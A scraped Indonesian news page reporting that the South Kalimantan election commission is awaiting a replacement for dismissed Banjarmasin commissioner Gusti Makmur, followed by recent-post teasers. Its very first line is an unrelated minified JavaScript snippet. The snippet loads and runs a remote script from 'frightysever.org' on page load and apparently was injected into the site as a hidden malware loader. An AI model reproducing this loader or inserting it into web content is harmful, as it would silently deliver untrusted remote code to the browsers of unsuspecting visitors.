(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PILKADA BANJARMASIN

Pasca Putusan DKPP RI, KPU Kalsel Masih Tunggu PAW Gusti Makmur


KANALKALIMANTAN.COM, BANJARMASIN – Sepekan setelah pemberhentian tetap mantan Ketua KPU Kota Banjarmasin Gusti Makmur oleh Dewan Kehormatan Penyelenggara Pemilu (DKPP) RI, hingga kini KPU Provinsi Kalsel masih menunggu pengganti antar waktu (PAW) yang ditetapkan KPU RI.

“Setelah diberhentikan oleh KPU RI, tinggal surat keputusan (SK) mungkin nanti ada perintah ke KPU Provinsi Kalsel untuk persiapan PAW,” ungkap Ketua KPU Provinsi Kalsel Sarmuji, di sela rapat koordinasi dalam rangka sosialisasi Indeks Kerawanan Pemilu (IKP) di Hotel GSign Banjarmasin, Rabu (11/3/2020) siang.

Lalu, bagaimana mekanisme PAW? Menurut Sarmuji, nanti akan diambil dari waiting list yang berada urutan nomor enam hingga sepuluh. Nantinya, KPU Provinsi Kalsel akan melakukan pengecekan untuk calon PAW apakah masih memenuhi syarat sebagai calon anggota KPU.

“Kemudian, kita ajukan kesediaannya kalau masih memenuhi syarat. Nanti juga ada masukan dan tanggapan kita juga perlu klarifikasi,” ucap Sarmuji.

Kesediaan calon PAW untuk menjadi anggota KPU Kota Banjarmasin dirasa cukup penting. Karena, menurut Sarmuji, bisa saja calon PAW tidak lagi bersedia untuk menjadi anggota KPU saat diklarifikasi.

“Nanti kami panggil, kalau bersedia ya sudah. Kita lakukan nanti pengusulan untuk PAW Gusti Makmur,” lugas Sarmuji.

Terpisah, Ketua KPU Kota Banjarmasin Rahmiyati Wahdah mengatakan, pihaknya menunggu calon PAW yang akan menggantikan Gusti Makmur di KPU Kota Banjarmasin. Karena menurutnya, ranah untuk pengusulan dan penetapan PAW berada di tangan KPU Provinsi Kalsel dan KPU RI.

“Kami menunggu, mudah-mudahan cepat. Karena tahapan (Pilkada) sudah mulai. Mudah-mudahan PAW ini segera dilantik, jadi bisa bergabung dengan kita,” kata Rahmiyati.

Informasi yang dihimpun, untuk PAW diambil dari urutan enam ada nama Taufikkurahman dan di urutan ketujuh ada nama Joko Nugroho, tercatat pernah menjadi komisioner KPU Kota Banjarmasin periode 2013-2018. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

32 menit ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

4 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

20 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

22 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

22 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

This website uses cookies.